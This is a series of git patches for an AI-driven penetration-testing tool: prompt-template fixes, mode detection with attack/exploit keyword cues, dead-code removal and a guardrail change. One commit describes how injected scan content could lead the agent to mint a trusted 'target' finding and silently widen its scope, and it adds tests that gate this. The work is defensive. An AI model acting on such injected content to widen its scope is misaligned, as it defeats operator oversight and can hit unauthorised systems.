Tests `tests/unit/test_ai_prompts.py`: **38 -> 41 passed**. Added 3 regression tests asserting every mode renders with no `$query_types`/`$output_types_reference`, that `query_types` renders to real registry names, and that prompts reference `query_workspace` not `run_query`. Rendered-prompt check before/after: | mode | `$query_types` | `$output_types_reference` | `run_query` | |------|------|------|------| | before (all) | leaked | leaked (attack/exploit) | present | | after (all) | gone | gone | gone (query_workspace) | 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 --- secator/ai/prompts.py | 15 +++++++------ secator/ai/prompts/constraints/common.txt | 2 +- tests/unit/test_ai_prompts.py | 27 +++++++++++++++++++++++ 3 files changed, 36 insertions(+), 8 deletions(-) diff --git a/secator/ai/prompts.py b/secator/ai/prompts.py index 5e51595ac..4a0d87bac 100644 --- a/secator/ai/prompts.py +++ b/secator/ai/prompts.py @@ -241,13 +241,14 @@ def get_system_prompt(mode: str, workspace_path: str = "", backend=None) -> str: system_prompt = mode_config["system_prompt"] ws = workspace_path or "" - path_vars = dict(tasks_path=str(TASKS_PATH), workflows_path=str(WORKFLOWS_PATH), profiles_path=str(PROFILES_PATH)) - if mode == "attack": - result = system_prompt.safe_substitute(library_reference=build_library_reference(), **path_vars) - elif mode == "exploit": - result = system_prompt.safe_substitute(library_reference=build_library_reference(), **path_vars) - else: # chat mode - result = system_prompt.safe_substitute(output_types_reference=build_output_types_reference()) + # The queries.txt constraint (included by every mode) references $query_types and + # $output_types_reference, so they must be substituted for all modes — derive both + # from FINDING_TYPES so they never drift from the registry. + subst = dict(query_types=build_query_types(), output_types_reference=build_output_types_reference()) + if mode in ("attack", "exploit"): + path_vars = dict(tasks_path=str(TASKS_PATH), workflows_path=str(WORKFLOWS_PATH), profiles_path=str(PROFILES_PATH)) + subst.update(library_reference=build_library_reference(), **path_vars) + result = system_prompt.safe_substitute(**subst) # Determine interaction rules based on backend # The mode templates already include ${follow_up} for interactive modes. diff --git a/secator/ai/prompts/constraints/common.txt b/secator/ai/prompts/constraints/common.txt index 3fce07169..6fb53aab6 100644 --- a/secator/ai/prompts/constraints/common.txt +++ b/secator/ai/prompts/constraints/common.txt @@ -12,7 +12,7 @@ run_task(name="httpx", targets=["target3.com"], opts={"rate_limit": 30, "proxy": run_workflow(name="domain_recon", targets=["example.com"]) run_shell(command="curl -sk https://10.0.0.1/ | head -50") run_task(name="ai", targets=["example.com"], opts={"prompt": "Enumerate subdomains", "mode": "attack", "session_name": "Subdomain enumeration on example.com", "max_iterations": 5}) -run_query(query={'vulnerability': {'severity': {'$in': ['high', 'critical']}) +query_workspace(query={"_type": "vulnerability", "severity": {"$in": ["high", "critical"]}}) add_finding(name="XSS vuln", matched_at=["http://testphp.vulnweb.com/hpp/?pp=1"], ) diff --git a/tests/unit/test_ai_prompts.py b/tests/unit/test_ai_prompts.py index 166276853..5b63e349b 100644 --- a/tests/unit/test_ai_prompts.py +++ b/tests/unit/test_ai_prompts.py @@ -281,6 +281,33 @@ def test_common_rules_has_no_shouting(self): self.assertNotIn("NEVER INVENT", COMMON_RULES) self.assertNotIn("ALWAYS provide", COMMON_RULES) + # === Template-drift regression tests (D1) === + + def test_rendered_prompts_have_no_unsubstituted_template_vars(self): + """Rendered prompts must not leak $query_types / $output_types_reference (D1).""" + for mode in ("attack", "chat", "exploit"): + prompt = get_system_prompt(mode) + self.assertNotIn("$query_types", prompt, f"$query_types leaked in {mode!r} prompt") + self.assertNotIn("$output_types_reference", prompt, f"$output_types_reference leaked in {mode!r} prompt") + + def test_rendered_prompts_substitute_query_types_from_registry(self): + """$query_types renders to the real FINDING_TYPES names, not a placeholder.""" + from secator.ai.prompts import build_query_types + expected = build_query_types() + self.assertIn("vulnerability", expected) + for mode in ("attack", "chat", "exploit"): + self.assertIn(expected, get_system_prompt(mode)) + + def test_rendered_prompts_have_no_phantom_run_query_tool(self): + """Examples must call the real query_workspace tool, never a phantom run_query (D1).""" + from secator.ai.tools import TOOL_ACTION_MAP + self.assertEqual(TOOL_ACTION_MAP["query_workspace"], "query") + self.assertNotIn("run_query", TOOL_ACTION_MAP) + for mode in ("attack", "chat", "exploit"): + prompt = get_system_prompt(mode) + self.assertNotIn("run_query", prompt, f"phantom run_query in {mode!r} prompt") + self.assertIn("query_workspace", prompt) + if __name__ == '__main__': unittest.main() From e33c46bb8f67b6806e848792bb86945f055798ff Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 1 Jul 2026 19:02:47 +0200 Subject: [PATCH 069/129] fix(ai): gate privileged add_finding types at the guardrail (M7) (#1260) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## M7 (P1, Security): \`add_finding\`/\`query\` unconditionally allowed **Finding:** Injected/scanned content can drive the AI to write a \`_type:"target"\` finding that auto-approve later trusts, silently widening scope with no prompt. **Root cause:** \`secator/ai/guardrails.py:826-827\` blanket-allowed \`add_finding\` (alongside \`query\`/\`follow_up\`): \`\`\`python elif action_type in ("query", "follow_up", "add_finding"): return PermissionResult(decision="allow", reason=f"{action_type} is always allowed") \`\`\` **What "privileged/trusted" means downstream:** \`secator/tasks/ai.py:538-556\` \`_auto_approve_workspace_targets()\` runs \`QueryEngine.search({"_type": "target"}, limit=1000)\` and passes every hit to \`permission_engine.add_runtime_allow([...])\`. So any \`target\`-typed finding in the workspace is auto-approved as in-scope on the next turn. An injected \`add_finding\` of that type therefore smuggles a new trusted target and widens scope. ## Fix Small guardrail-layer defense (defense-in-depth). New module-level predicate: \`\`\`python _PRIVILEGED_FINDING_TYPES = frozenset({"target"}) def _is_privileged_finding_type(action: Dict) -> bool: return str(action.get("_type", "")).strip().lower() in _PRIVILEGED_FINDING_TYPES \`\`\` The decision branch now returns \`ask\` (engine vocabulary, reuses \`PermissionResult\`) when an \`add_finding\` would mint a privileged/trusted type. It reads \`_type\` straight off the action dict the engine already receives — no \`actions.py\` change needed. Benign/info \`add_finding\` stays \`allow\`; read-only \`query\` and engine-internal \`follow_up\` are untouched. ## Tests - New (proven, no shfmt needed): \`test_add_finding_target_type_not_allowed\` (→ ask), \`test_add_finding_target_type_case_insensitive\` (→ ask), \`test_add_finding_benign_allowed\` (vulnerability → allow); existing \`query\`/\`follow_up\` allow tests still pass. - Baseline vs after: \`57 failed, 91 passed\` → \`57 failed, 94 passed\`. The 57 failures are pre-existing and **byte-identical** before/after (environmental \`shfmt\`/\`safecmd\`-gated \`TestEdgeCases\` shell-parsing tests) — not regressions. AST parse OK. ## Related trust smell (flagged, not fixed here — cross-lane) \`secator/tasks/ai.py:538-556\` is the sink that auto-trusts \`_type:"target"\` findings. Note \`_handle_add_finding\` (\`secator/ai/actions.py:466-467\`) strips \`_type\` from \`finding_data\` and \`type_map\` only covers \`FINDING_TYPES\` (no \`Target\`), so today it can't build a literal Target — but this guardrail closes the intent path as defense-in-depth. AI-origin findings also aren't tagged distinctly from tool-discovered ones (\`actions.py:519-524\`), so downstream can't tell them apart. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 --- secator/ai/guardrails.py | 18 ++++++++++++++++++ tests/unit/test_ai_guardrails.py | 17 +++++++++++++++++ 2 files changed, 35 insertions(+) diff --git a/secator/ai/guardrails.py b/secator/ai/guardrails.py index f674b241e..3a4d12fe7 100644 --- a/secator/ai/guardrails.py +++ b/secator/ai/guardrails.py @@ -664,6 +664,17 @@ class PermissionResult: shell_command: str = "" # full command when prompting for shell approval +# M7: finding types downstream auto-trusts. tasks/ai.py _auto_approve_workspace_targets() +# searches _type:"target" findings and auto-approves them as in-scope, so an injected +# add_finding of one of these silently widens scope. +_PRIVILEGED_FINDING_TYPES = frozenset({"target"}) + + +def _is_privileged_finding_type(action: Dict) -> bool: + """True if an add_finding action would mint a downstream-trusted (scope-widening) finding.""" + return str(action.get("_type", "")).strip().lower() in _PRIVILEGED_FINDING_TYPES + + class PermissionEngine: """Evaluate AI actions against allow/deny/ask permission rules. @@ -824,6 +835,13 @@ def _check_action_type(self, action_type: str, action: Dict) -> PermissionResult name = action.get("name", "") return self._check_value(action_type, name) elif action_type in ("query", "follow_up", "add_finding"): + # M7: don't let injected add_finding mint a trusted target that auto-approve later trusts + if action_type == "add_finding" and _is_privileged_finding_type(action): + ftype = str(action.get("_type", "")).strip().lower() + return PermissionResult( + decision="ask", + reason=f"add_finding of privileged type '{ftype}' requires approval", + ) return PermissionResult(decision="allow", reason=f"{action_type} is always allowed") return PermissionResult(decision="deny", reason=f"Unknown action type: {action_type}") diff --git a/tests/unit/test_ai_guardrails.py b/tests/unit/test_ai_guardrails.py index e915cd542..e92fefac4 100644 --- a/tests/unit/test_ai_guardrails.py +++ b/tests/unit/test_ai_guardrails.py @@ -259,6 +259,23 @@ def test_follow_up_always_allowed(self): result = engine.check_action({"action": "follow_up", "reason": "test"}) self.assertEqual(result.decision, "allow") + # --- M7: add_finding privileged-type gating --- + + def test_add_finding_benign_allowed(self): + engine = self._make_engine() + result = engine.check_action({"action": "add_finding", "_type": "vulnerability", "name": "XSS"}) + self.assertEqual(result.decision, "allow") + + def test_add_finding_target_type_not_allowed(self): + engine = self._make_engine() + result = engine.check_action({"action": "add_finding", "_type": "target", "name": "evil.com"}) + self.assertEqual(result.decision, "ask") + + def test_add_finding_target_type_case_insensitive(self): + engine = self._make_engine() + result = engine.check_action({"action": "add_finding", "_type": " Target ", "name": "evil.com"}) + self.assertEqual(result.decision, "ask") + # --- Target checks --- def test_target_allowed_via_targets_variable(self): From fc2c61d0f7577e3b2957299830727f90ea8277d4 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 1 Jul 2026 19:02:51 +0200 Subject: [PATCH 070/129] refactor(ai): cheap fast-path for mode detection, LLM only when ambiguous (D4) (#1261) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Finding (D4, P4 Design/Pertinence) `_detect_mode` (`secator/tasks/ai.py`) made a **separate `call_llm(..., self.intent_model, ...)` round-trip** purely to classify the user's prompt into a mode — an extra LLM call (latency + tokens) for what is essentially a small 2-way (attack/chat) classification. ## What this does Adds a cheap **deterministic fast-path** (`fast_detect_mode`) run before the LLM: - **Resolves without any LLM call**: unambiguous prompts that hit high-precision cues for exactly one of `attack`/`chat` (e.g. "scan the target" → attack, "summarize the findings" → chat), and empty prompts → chat. - **Still hits the LLM** (unchanged behavior): ambiguous prompts (cues for both / no cues) and any **exploit-ish** prompt (`exploit`, `poc`, `cve-`, `vulnerabilit`) defer to the existing `call_llm` classifier. The LLM keeps deciding every case the heuristic isn't confident about, so mode-detection quality is preserved. The shared tail (max_iterations / system_prompt / tool_schemas) runs for both paths (DRY). ## What I did NOT change - **`intent_model` opt/config kept** — still referenced by `config.py` and the setup wizard (`ai/utils.py`) and used on the LLM fallback. Removing it would be riskier config-surface churn; out of scope for a conservative P4. - The explicit-mode short-circuit and **`force=True` re-detection** semantics are unchanged. - Did **not** touch `prompts.py` / `_selection.txt` or exploit-mode wiring. ## Tests `tests/unit/test_ai_session.py::TestFastDetectMode` (4 new): - fast-path resolves attack/chat **without** calling `call_llm` (`assert_not_called`); - ambiguous input **falls back** to the LLM (`assert_called_once`, still uses `intent_model`); - `force=True` re-detects over an explicit mode; - pure `fast_detect_mode` cue/ambiguity/exploit-defer logic. Baseline vs after (`test_ai_loop.py` + `test_ai_session.py`): baseline **12 failed / 40 passed** → after **12 failed / 44 passed**. The 12 failures are pre-existing and identical (unrelated to intent detection); +4 are the new tests. ## Related smell (NOT fixed here — flagged) - **D2**: `_detect_mode` (`secator/tasks/ai.py:727`) only accepts `("attack", "chat")` and **discards `exploit`**, even though `modes/_selection.txt` classifies into attack/chat/**exploit** and `MODES` (`ai/prompts.py:70`) defines an `exploit` mode. An exploit-classified prompt falls back to `old_mode or "chat"`. Left for the D2 exploit-wiring lane. Co-authored-by: Claude Opus 4.8 --- secator/tasks/ai.py | 67 +++++++++++++++++++++++------- tests/unit/test_ai_session.py | 77 +++++++++++++++++++++++++++++++++++ 2 files changed, 129 insertions(+), 15 deletions(-) diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 57060f244..b750ad114 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -29,6 +29,37 @@ from secator.ai.utils import call_llm, init_llm, setup_ai, format_llm_status +# D4: high-precision cues for the deterministic mode fast-path. Only unambiguous +# prompts (cues for exactly one of attack/chat, and no exploit-ish cue) are +# resolved here; everything else defers to the LLM classifier. +_ATTACK_CUES = ( + "scan", "pentest", "pen test", "enumerate", "enumeration", "recon", + "brute", "bruteforce", "fuzz", "attack", "nmap", "nuclei", "subdomain", "hack", +) +_CHAT_CUES = ( + "summarize", "summary", "explain", "what is", "what are", "what's", + "how do", "how does", "tell me", "describe", "list the", "show me", "?", +) +_EXPLOIT_CUES = ("exploit", "poc", "proof of concept", "cve-", "vulnerabilit") + + +def fast_detect_mode(prompt): + """D4: cheap deterministic pre-classifier. Returns 'attack'/'chat' for + unambiguous prompts, else None to defer to the LLM. Exploit-ish prompts + return None so the LLM keeps deciding those (no behavior change there).""" + text = (prompt or "").strip().lower() + if not text: + return "chat" + if any(cue in text for cue in _EXPLOIT_CUES): + return None + has_attack = any(cue in text for cue in _ATTACK_CUES) + has_chat = any(cue in text for cue in _CHAT_CUES) + if has_attack and not has_chat: + return "attack" + if has_chat and not has_attack: + return "chat" + return None + @task() class ai(PythonRunner): @@ -717,21 +748,27 @@ def _detect_mode(self, force=False): if not self.prompt: self.mode = "chat" return - try: - selection_prompt = load_prompt("modes/_selection.txt") - messages = [{"role": "user", "content": f"{selection_prompt}\n{self.prompt}"}] - with maybe_status("[bold orange3]Detecting intent...[/]", spinner="dots"): - result = call_llm(messages, self.intent_model, temperature=0.3, api_base=self.api_base, api_key=self.api_key) - self._account_usage(result.get("usage")) - mode = result["content"].strip().lower() - if mode in ("attack", "chat"): - console.print(rf"[bold green]\[INF][/] Detected intent: [bold]{mode}[/]") - self.mode = mode - else: - self.mode = old_mode or "chat" - except Exception: - console.print(Warning(message='Could not detect mode using LLM. Falling back to "chat" mode.')) - self.mode = "chat" + # D4: resolve unambiguous prompts deterministically; skip the intent LLM round-trip. + fast_mode = fast_detect_mode(self.prompt) + if fast_mode: + console.print(rf"[bold green]\[INF][/] Detected intent: [bold]{fast_mode}[/] (fast-path)") + self.mode = fast_mode + else: + try: + selection_prompt = load_prompt("modes/_selection.txt") + messages = [{"role": "user", "content": f"{selection_prompt}\n{self.prompt}"}] + with maybe_status("[bold orange3]Detecting intent...[/]", spinner="dots"): + result = call_llm(messages, self.intent_model, temperature=0.3, api_base=self.api_base, api_key=self.api_key) # noqa: E501 + self._account_usage(result.get("usage")) + mode = result["content"].strip().lower() + if mode in ("attack", "chat"): + console.print(rf"[bold green]\[INF][/] Detected intent: [bold]{mode}[/]") + self.mode = mode + else: + self.mode = old_mode or "chat" + except Exception: + console.print(Warning(message='Could not detect mode using LLM. Falling back to "chat" mode.')) + self.mode = "chat" if not self.mode: self.mode = "chat" mode_max = get_mode_config(self.mode).get("max_iterations", self.max_iterations) diff --git a/tests/unit/test_ai_session.py b/tests/unit/test_ai_session.py index f33ae495e..bcf144c64 100644 --- a/tests/unit/test_ai_session.py +++ b/tests/unit/test_ai_session.py @@ -292,5 +292,82 @@ def test_mark_turn_completed_persists_marker(self): self.assertEqual(persisted, []) +class TestFastDetectMode(unittest.TestCase): + """D4: the deterministic mode fast-path skips the intent LLM round-trip for + unambiguous prompts, while ambiguous ones still fall back to the LLM.""" + + def test_fast_detect_mode_pure(self): + from secator.tasks.ai import fast_detect_mode + self.assertEqual(fast_detect_mode("scan the target"), "attack") + self.assertEqual(fast_detect_mode("summarize the findings"), "chat") + self.assertEqual(fast_detect_mode(""), "chat") + # exploit-ish → defer to LLM (no behavior change for those) + self.assertIsNone(fast_detect_mode("write an exploit for this CVE-2024-1234")) + # conflicting cues → ambiguous → defer to LLM + self.assertIsNone(fast_detect_mode("scan and explain the results")) + # no cues → ambiguous → defer to LLM + self.assertIsNone(fast_detect_mode("please handle the situation")) + + def _make_task(self, prompt, mode=""): + from secator.tasks.ai import ai + task = ai.__new__(ai) + task.mode = mode + task.prompt = prompt + task.intent_model = "intent-model" + task.model = "main-model" + task.api_base = None + task.api_key = None + task.max_iterations = 10 + task.is_subagent = False + task.backend = MagicMock() + task._reports_folder = tempfile.mkdtemp(prefix="secator-test-") + task._account_usage = MagicMock() + return task + + def _patches(self): + return ( + patch("secator.tasks.ai.get_system_prompt", return_value="SYS"), + patch("secator.tasks.ai.build_tool_schemas", return_value=[]), + patch("secator.tasks.ai.get_mode_config", return_value={"max_iterations": 5}), + ) + + def test_fast_path_resolves_without_llm(self): + """Unambiguous prompt → mode set deterministically, call_llm untouched.""" + task = self._make_task("scan the target") + p_sys, p_tools, p_cfg = self._patches() + with p_sys, p_tools, p_cfg, patch("secator.tasks.ai.call_llm") as mock_llm: + task._detect_mode() + mock_llm.assert_not_called() + self.assertEqual(task.mode, "attack") + + def test_ambiguous_falls_back_to_llm(self): + """Conflicting cues → the LLM classifier still runs and decides.""" + task = self._make_task("scan and explain the results") + p_sys, p_tools, p_cfg = self._patches() + with p_sys, p_tools, p_cfg, \ + patch("secator.tasks.ai.load_prompt", return_value="SELECT"), \ + patch("secator.tasks.ai.call_llm", return_value={"content": "chat", "usage": {}}) as mock_llm: + task._detect_mode() + mock_llm.assert_called_once() + self.assertEqual(mock_llm.call_args[0][1], "intent-model") # uses intent_model + self.assertEqual(task.mode, "chat") + + def test_force_redetects_over_explicit_mode(self): + """force=True re-detects even when mode was explicitly set (fast-path applies).""" + task = self._make_task("scan the target", mode="chat") + p_sys, p_tools, p_cfg = self._patches() + # Without force, explicit mode short-circuits (no detection, no LLM). + with p_sys, p_tools, p_cfg, patch("secator.tasks.ai.call_llm") as mock_llm: + task._detect_mode() + self.assertEqual(task.mode, "chat") + mock_llm.assert_not_called() + # With force, detection runs again → fast-path flips to attack. + p_sys, p_tools, p_cfg = self._patches() + with p_sys, p_tools, p_cfg, patch("secator.tasks.ai.call_llm") as mock_llm: + task._detect_mode(force=True) + self.assertEqual(task.mode, "attack") + mock_llm.assert_not_called() + + if __name__ == "__main__": unittest.main() From 395c3ccc0dd3ec75a092fd6c0b611a8b38169787 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 1 Jul 2026 19:02:55 +0200 Subject: [PATCH 071/129] chore(ai): remove vestigial code (D3) (#1262) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## D3 — Dead/vestigial code (P4) Pure deletions, no behavior change. Each removal proven unreferenced via `git grep -nw` across `secator/` and `tests/`. | Candidate | File:line | Refs (excl. own def) | Action | |---|---|---|---| | `ACTION_TOOL_MAP` | `secator/ai/tools.py:17` | 0 | **Removed** | | `_maybe_encrypt` (orphan dup) | `secator/ai/utils.py:666` | 0 callers | **Removed** | | `'scan'` render branch | `secator/output_types/ai.py:165,169` | never set as `ai_type`; not in `ACTION_TYPES` → unreachable | **Removed** | | `maybe_encrypt` (real helper) | `secator/ai/encryption.py:48` | 15+ callers (session, tasks/ai) | **Kept** (live) | | `Ai` data fields (`choices`, `status`, `session_id`, `_related`, `_uuid`, `_duplicate`, `summary`, `answer`, ...) | `secator/output_types/ai.py` | read in tasks/ai, actions, runners/_base + serialized OutputType schema | **Kept** (live / serialized) | ### Evidence - `ACTION_TOOL_MAP`: `git grep -nw ACTION_TOOL_MAP` → only its own definition. - `_maybe_encrypt`: `git grep -nw _maybe_encrypt` → only the definition; the used helper is `maybe_encrypt` (no underscore) in `encryption.py`. - `'scan'`: only appears inside the render branch; the enclosing `if self.ai_type in ACTION_TYPES:` (`task, workflow, shell, add_finding, query, stopped`) never admits `'scan'`, and `'scan'` is not a configured `AI_TYPES` key. ### Ai fields — kept (conservative) The `Ai` dataclass fields are part of the persisted/serialized `OutputType` schema and several are read at runtime (`choices`/`status` in `tasks/ai.py`, `session_id` in `actions.py`, `_related`/`_uuid`/`_duplicate` in `runners/_base.py`). Removing any could break UI/DB contracts, so none were touched. ### Verification - **Tests** (`pytest tests/unit/ -k ai`): baseline **70 failed / 484 passed** → after **70 failed / 484 passed** — failing set byte-identical (pre-existing env failures, unrelated to this change). - **Import smoke**: `import secator.ai.tools, secator.ai.utils, secator.tasks.ai, secator.ai.actions` → OK. - **Compile**: `ast.parse` on all three touched files → OK. ### Extra finding (out of lane — not fixed here) - `secator/ai/prompts.py:264-281` — a fully commented-out `format_user_initial(...)` function (docstring + body). Dead commentary; candidate for a later cleanup in the prompts lane. Co-authored-by: Claude Opus 4.8 --- secator/ai/tools.py | 3 --- secator/ai/utils.py | 5 ----- secator/output_types/ai.py | 3 +-- 3 files changed, 1 insertion(+), 10 deletions(-) diff --git a/secator/ai/tools.py b/secator/ai/tools.py index e96dd348f..5decb3155 100644 --- a/secator/ai/tools.py +++ b/secator/ai/tools.py @@ -13,9 +13,6 @@ "stop": "stop", } -# Reverse mapping: action type -> tool name -ACTION_TOOL_MAP = {v: k for k, v in TOOL_ACTION_MAP.items()} - # OpenAI-format tool schemas keyed by tool name TOOL_SCHEMAS = { "run_task": { diff --git a/secator/ai/utils.py b/secator/ai/utils.py index 83da2e5a6..6f1eb92fb 100644 --- a/secator/ai/utils.py +++ b/secator/ai/utils.py @@ -661,8 +661,3 @@ def prompt_user(history, encryptor=None, max_iterations=10, choices=None, return None except (KeyboardInterrupt, EOFError): return None - - -def _maybe_encrypt(text, encryptor): - """Encrypt text if encryptor is available, otherwise return as-is.""" - return encryptor.encrypt(text) if encryptor else text diff --git a/secator/output_types/ai.py b/secator/output_types/ai.py index 192b2933a..f0451f0fb 100644 --- a/secator/output_types/ai.py +++ b/secator/output_types/ai.py @@ -162,11 +162,10 @@ def __repr__(self) -> str: action_label_str = action_label.capitalize().replace('_', ' ') line = f'{s}[bold blue]{action_label_str}[/]' content = _s(self.content) - if self.ai_type in ['task', 'workflow', 'scan']: + if self.ai_type in ['task', 'workflow']: colors = { 'task': 'bold gold3', 'workflow': 'bold dark_orange3', - 'scan': 'bold red', } color = colors[self.ai_type] content = f'[{color}]{content}[/]' From 2a9f25aadbb09fab0fa2a185d0b2fd583e306201 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Thu, 2 Jul 2026 17:34:16 +0200 Subject: [PATCH 072/129] fix(ai): stop discarding exploit mode; wire + document it (D2) (#1263) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Finding — D2: `exploit` mode half-wired (P4 Pertinence) The selection prompt offers `exploit`, and the full mode exists (`MODES["exploit"]`, `SYSTEM_EXPLOIT`, `get_system_prompt` branch, `modes/_selection.txt` classifies attack/chat/**exploit**), but detection threw the classification away and the opt help omitted it. ## Root cause - `secator/tasks/ai.py:764` (pre-change) — `_detect_mode` accepted only `("attack", "chat")` from the intent LLM; an `exploit` verdict hit the `else` and reverted to `old_mode or "chat"`. Since D4's `fast_detect_mode` already **defers** exploit-ish prompts to the LLM, the LLM *could* return `exploit` — it was just discarded here. - `secator/tasks/ai.py:74` — `mode` opt help hardcoded `"Mode: attack or chat"`. ## Changes - `_detect_mode`: accept any `mode in MODES` (adds `exploit`; attack/chat behavior identical). `secator/tasks/ai.py:764` - `mode` opt help derived from `MODES.keys()` — single source of truth, no drift (`f"Mode: {', '.join(MODES)}"`). `secator/tasks/ai.py:74` - Imported `MODES` into the task module (DRY; no third hardcoded mode tuple). No change to the exploit SAFETY posture — exploit still runs through the same `PermissionEngine`/guardrails; only detection + docs changed. ## Exploit prompt is real `secator/ai/prompts/modes/exploit.txt` is a full 43-line template (persona = "exploitation verification specialist", methodology, `add_finding` exploitation-report flow, `${guardrails}`/`${isolation}` constraints). `get_system_prompt("exploit", ...)` renders with no leftover `${include}` or `$template_var` placeholders (D1's `$query_types`/`$output_types_reference` substitution covers exploit too). ## Tests Added focused tests (`tests/unit/test_ai_task_opts.py`, `tests/unit/test_ai_prompts.py`): - LLM `_detect_mode` verdict of `exploit` now sets `self.mode == "exploit"` (previously fell back to chat). - attack / chat / unknown verdicts unchanged (unknown → chat fallback). - `get_system_prompt("exploit")` renders clean (no unresolved placeholders). - `mode` opt help lists every mode incl. exploit. Baseline vs after (`test_ai_loop.py test_ai_session.py test_ai_prompts.py`): baseline **12 failed / 85 passed** → after **12 failed / 86 passed**. The 12 failures are identical pre-existing env failures (shfmt/safecmd sandbox), not regressions; the +1 pass is the new exploit-render test. ## Related smells (not fixed here) - `secator/ai/prompts.py:248` — `if mode in ("attack", "exploit"):` hardcodes the "uses library reference" set; a new library-using mode would need a manual edit. Candidate to derive from mode config. - `secator/tasks/ai.py:66` — class docstring still says "(attack or chat mode)"; omits exploit. - `secator/ai/prompts/modes/_selection.txt` hardcodes the three mode names in prose — can drift from `MODES` if a mode is added/removed. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 --- secator/tasks/ai.py | 6 ++-- tests/unit/test_ai_prompts.py | 20 ++++++++++++ tests/unit/test_ai_task_opts.py | 54 +++++++++++++++++++++++++++++++++ 3 files changed, 77 insertions(+), 3 deletions(-) diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index b750ad114..bf5e86226 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -22,7 +22,7 @@ from secator.ai.encryption import SensitiveDataEncryptor, maybe_encrypt from secator.ai.history import ChatHistory, truncate_to_tokens, get_context_window from secator.ai.prompts import ( - load_prompt, get_system_prompt, get_mode_config, format_tool_result, format_continue + load_prompt, get_system_prompt, get_mode_config, format_tool_result, format_continue, MODES ) from secator.ai.tools import build_tool_schemas, tool_call_to_action, TOOL_SCHEMAS from secator.ai.session import save_history, show_session_picker, replay_session, restore_history_from_db @@ -71,7 +71,7 @@ class ai(PythonRunner): opts = { "name": {"type": str, "default": "", "short": "n", "internal_name": "session_name", "help": "Name for the AI session or subagent"}, # noqa: E501 "prompt": {"type": str, "default": "", "short": "p", "help": "Prompt"}, - "mode": {"type": str, "default": "", "help": "Mode: attack or chat"}, + "mode": {"type": str, "default": "", "help": f"Mode: {', '.join(MODES)}"}, # D2: derive from MODES, don't drift "model": {"type": str, "default": CONFIG.addons.ai.default_model, "help": "LLM model"}, # Never set a secret/CONFIG value as a task-option `default`: secator-api # serves task opts (including defaults) to the UI, so a CONFIG default @@ -761,7 +761,7 @@ def _detect_mode(self, force=False): result = call_llm(messages, self.intent_model, temperature=0.3, api_base=self.api_base, api_key=self.api_key) # noqa: E501 self._account_usage(result.get("usage")) mode = result["content"].strip().lower() - if mode in ("attack", "chat"): + if mode in MODES: # D2: honor any real mode (incl. exploit), don't discard it console.print(rf"[bold green]\[INF][/] Detected intent: [bold]{mode}[/]") self.mode = mode else: diff --git a/tests/unit/test_ai_prompts.py b/tests/unit/test_ai_prompts.py index 5b63e349b..e05513c1f 100644 --- a/tests/unit/test_ai_prompts.py +++ b/tests/unit/test_ai_prompts.py @@ -101,6 +101,26 @@ def test_get_system_prompt_exploit(self): self.assertIn("exploitation verification specialist", prompt) self.assertIn("proof-of-concept", prompt) + def test_get_system_prompt_exploit_no_leftover_placeholders(self): + """D2: exploit renders fully — no unresolved ${include} or template $vars. + + (Literal Mongo operators like $in/$regex and example secrets like $API_KEY + are content, not Template vars, so we check the template names explicitly.) + """ + import re + prompt = get_system_prompt("exploit") + # All ${include} directives resolved (load_prompt) and $var substitutions done. + self.assertEqual(re.findall(r'\$\{\w+\}', prompt), [], "unresolved ${include} in exploit prompt") + template_vars = [ + "library_reference", "discovery", "common", "queries", "findings", + "arsenal", "guardrails", "isolation", "exploitation_report", + "workspace_path", "query_types", "output_types_reference", + ] + leftover = [v for v in template_vars if f"${v}" in prompt] + self.assertEqual(leftover, [], f"unresolved template vars in exploit prompt: {leftover}") + # uses the exploit template, not attack/chat + self.assertIn("exploitation verification specialist", prompt) + def test_get_system_prompt_attack_has_library_reference(self): prompt = get_system_prompt("attack") self.assertIn('', prompt) diff --git a/tests/unit/test_ai_task_opts.py b/tests/unit/test_ai_task_opts.py index 518dec89b..401c0a0ec 100644 --- a/tests/unit/test_ai_task_opts.py +++ b/tests/unit/test_ai_task_opts.py @@ -1,5 +1,6 @@ """Tests for AI task subagent opts.""" import unittest +from unittest.mock import MagicMock, patch from secator.definitions import ADDONS_ENABLED @@ -25,6 +26,59 @@ def test_max_workers_opt_exists(self): self.assertEqual(ai.opts["max_workers"].get("default"), 3) self.assertTrue(ai.opts["max_workers"].get("internal", False)) + def test_mode_opt_help_lists_all_modes(self): + """D2: the mode opt help documents every real mode (derived from MODES).""" + from secator.tasks.ai import ai + from secator.ai.prompts import MODES + help_text = ai.opts["mode"]["help"] + for mode in MODES: + self.assertIn(mode, help_text) + self.assertIn("exploit", help_text) # the previously-omitted one + + +@unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') +class TestDetectMode(unittest.TestCase): + """D2: _detect_mode must honor an LLM 'exploit' classification (was discarded).""" + + def _make_task(self, prompt): + """Bare ai instance with just the attributes _detect_mode reads.""" + from secator.tasks.ai import ai + t = ai.__new__(ai) + t.mode = "" # no explicit mode -> detection runs + t.prompt = prompt + t.intent_model = "test-intent-model" + t.api_base = None + t.api_key = None + t.backend = MagicMock() + t.is_subagent = False + t.max_iterations = 10 + t._account_usage = MagicMock() + return t + + def _run_detect(self, prompt, llm_word): + """Force the LLM branch (ambiguous prompt) and stub call_llm's verdict.""" + from secator.tasks.ai import ai + t = self._make_task(prompt) + with patch("secator.tasks.ai.call_llm", return_value={"content": llm_word, "usage": {}}), \ + patch("secator.tasks.ai.get_system_prompt", return_value="sys"), \ + 